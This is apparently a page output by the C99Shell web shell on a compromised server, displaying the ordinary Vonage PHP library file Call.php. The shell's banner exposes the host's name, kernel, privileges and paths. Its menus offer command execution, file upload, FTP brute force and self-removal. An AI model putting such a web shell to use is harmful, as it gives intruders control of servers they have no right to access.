!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/vonage/client-core/src/Voice/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Call.php (3.58 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Vonage\Voice;

use 
DateTime;
use 
Exception;
use 
Vonage\Entity\Hydrator\ArrayHydrateInterface;
use 
Vonage\Voice\Endpoint\EndpointFactory;
use 
Vonage\Voice\Endpoint\EndpointInterface;

use function 
array_key_exists;

class 
Call implements ArrayHydrateInterface
{
    protected ?
string $conversationUuid null;

    protected ?
string $direction null;

    protected ?
string $duration null;

    protected ?
DateTime $endTime null;

    protected ?
EndpointInterface $from null;

    protected ?
string $network null;

    protected ?
string $price null;

    protected ?
string $rate null;

    protected ?
DateTime $startTime null;

    protected ?
string $status null;

    protected ?
EndpointInterface $to null;

    protected ?
string $uuid null;

    
/**
     * @throws Exception
     */
    
public function __construct(array $data = [])
    {
        if (!empty(
$data)) {
            
$this->fromArray($data);
        }
    }

    
/**
     * @throws Exception
     */
    
public function fromArray(array $data): void
    
{
        if (
array_key_exists('to'$data)) {
            
$to $data['to'][0] ?? $data['to'];
            
$this->to = (new EndpointFactory())->create($to);
        }

        if (
array_key_exists('from'$data)) {
            
$from $data['from'][0] ?? $data['from'];
            
$this->from = (new EndpointFactory())->create($from);
        }

        
$this->uuid $data['uuid'];
        
$this->conversationUuid $data['conversation_uuid'];
        
$this->status $data['status'];
        
$this->direction $data['direction'];
        
$this->rate $data['rate'] ?? null;
        
$this->duration $data['duration'] ?? null;
        
$this->price $data['price'] ?? null;
        
$this->startTime = new DateTime($data['start_time']);
        
$this->endTime = new DateTime($data['end_time']);
        
$this->network $data['network'] ?? null;
    }

    public function 
getUuid(): string
    
{
        return 
$this->uuid;
    }

    public function 
toArray(): array
    {
        
$data = [
            
'uuid' => $this->uuid,
            
'conversation_uuid' => $this->conversationUuid,
            
'status' => $this->status,
            
'direction' => $this->direction,
            
'rate' => $this->rate,
            
'duration' => $this->duration,
            
'price' => $this->price,
            
'start_time' => $this->startTime->format('Y-m-d H:i:s'),
            
'end_time' => $this->endTime->format('Y-m-d H:i:s'),
            
'network' => $this->network,
        ];

        
$to $this->getTo();
        
$from $this->getFrom();

        if (
$to) {
            
$data['to'][] = $to->toArray();
        }

        if (
$from) {
            
$data['from'][] = $from->toArray();
        }

        return 
$data;
    }

    public function 
getTo(): EndpointInterface
    
{
        return 
$this->to;
    }

    public function 
getRate(): string
    
{
        return 
$this->rate;
    }

    public function 
getFrom(): EndpointInterface
    
{
        return 
$this->from;
    }

    public function 
getStatus(): string
    
{
        return 
$this->status;
    }

    public function 
getDirection(): string
    
{
        return 
$this->direction;
    }

    public function 
getPrice(): string
    
{
        return 
$this->price;
    }

    public function 
getDuration(): string
    
{
        return 
$this->duration;
    }

    public function 
getStartTime(): DateTime
    
{
        return 
$this->startTime;
    }

    public function 
getEndTime(): DateTime
    
{
        return 
$this->endTime;
    }

    public function 
getNetwork(): string
    
{
        return 
$this->network;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--